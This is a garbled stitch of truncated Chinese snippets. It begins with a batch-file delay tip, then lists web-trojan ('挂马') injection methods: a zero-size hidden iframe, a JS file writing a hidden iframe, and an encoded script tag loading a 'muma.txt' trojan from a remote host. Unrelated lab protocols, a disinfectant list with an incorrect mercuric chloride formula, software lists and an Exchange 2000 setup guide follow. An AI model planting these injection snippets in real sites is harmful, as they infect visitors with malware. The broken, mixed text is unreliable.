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[day-day-up]

没什么创新，只是归纳了一下。
举个例子，我们要延时5秒打开gdh.txt这个文件，可以用以下几个方法

方法一：ping
缺点:时间精度为1秒,不够精确



@echo off

一:框架挂马

<iframe src=地址 width=0 height=0></iframe>

二:js文件挂马

首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js，
则JS挂马代码为
<script language=javascript src=xxx.js></script>

三:js变形加密

<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马

（一）常用消毒剂
　　 现将常用的消毒药品及其配制、使用方法，介绍如下：

1． 35％甲醛水溶液（HCHO）：又名福尔马林，使蛋白质变性。用于培养室、无菌室的灭菌。

　　 2．0.1％的升汞水（HgCL3）：能使蛋白质变性，抑制酶类。0.1％升汞配制方法是称取升汞0.1克，    用少许酒精溶解，再加水至100毫升即成。用于无菌箱、培养箱、培养皿四周表面以及手指的灭菌。
　　 3．石炭酸（C6H5OH），5％浓度喷雾后，能使蛋白变性沉淀。石炭酸（苯酚）50毫升，加水950毫升配成。用于 工作服、实

注：下列软件在生物谷下载区中多有下载http://www.bioon.com/soft/

一、基因芯片：  
1、基因芯片综合分析软件。  
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一种功能强大的商业版基因

生命科学词典大全

1. 通用词典：

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OneLook *****
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一、大肠杆菌质粒DNA的提取
   质粒DNA的提取是从事基因工程工作中的一项基本实验技术，但提取方法有很多种，以下介绍一种最常用的方法：

碱裂解法：此方法适用于小量质粒DNA的提取，提取的质粒DNA可直接用于酶切、PCR扩增、银染序列分析。方法如下：
1、接1%含质粒的大肠杆菌细胞于2ml LB培养基。
2、37℃振荡培养过夜。
3、取1.5ml菌体于Ep管，以4000rpm离心3min，弃上清液。
4、加0.lml溶液I(1％葡萄糖，50mM/L EDTA pH8.0，25mM/L Tris-HCl pH8.0)充分混合。
5、加入0.2ml溶液 II

几乎所有蛋白质电泳分析都在聚丙烯酰胺凝胶上进行，而所有条件总要确保蛋白质解离成单个多肽亚基并进可能减少其相互间的聚集，最常用的就是SDS－PAGE电泳技术，关于大家在此过程中经常遇到的问题进行一些讨论：

Q：SDS－PAGE电泳的基本原理？
A：SDS-聚丙烯酰胺凝胶电泳，是在聚丙烯酰胺凝胶系统中引进SDS（十二烷基硫酸钠）， SDS会与变性的多肽，并使蛋白带负电荷，由于多肽结合SDS的量几乎总是与多肽的分子量成正比而与其序列无关，因此SDS多肽复合物在丙稀酰胺凝胶电泳中的迁移率只与多肽的大小有关，在达到饱和

Exchange 2000 Server的安装
1．安装前的准备工作
南山（1）确保Windows 2000已升级成了域控制器，安装了Active Directory（活动目录）。假设本服务器的计算机名为"Server"，"域"被命名为"edu"，"域名"为"enanshan.com"，则本机的"Active Directory域名"为"edu.enanshan.com"（它同时也将是邮件服务器名），而"完整的计算机名"则为"server.edu.enanshan.com"。
南山（2）确保已安装了NNTP（Network News Transfer Pr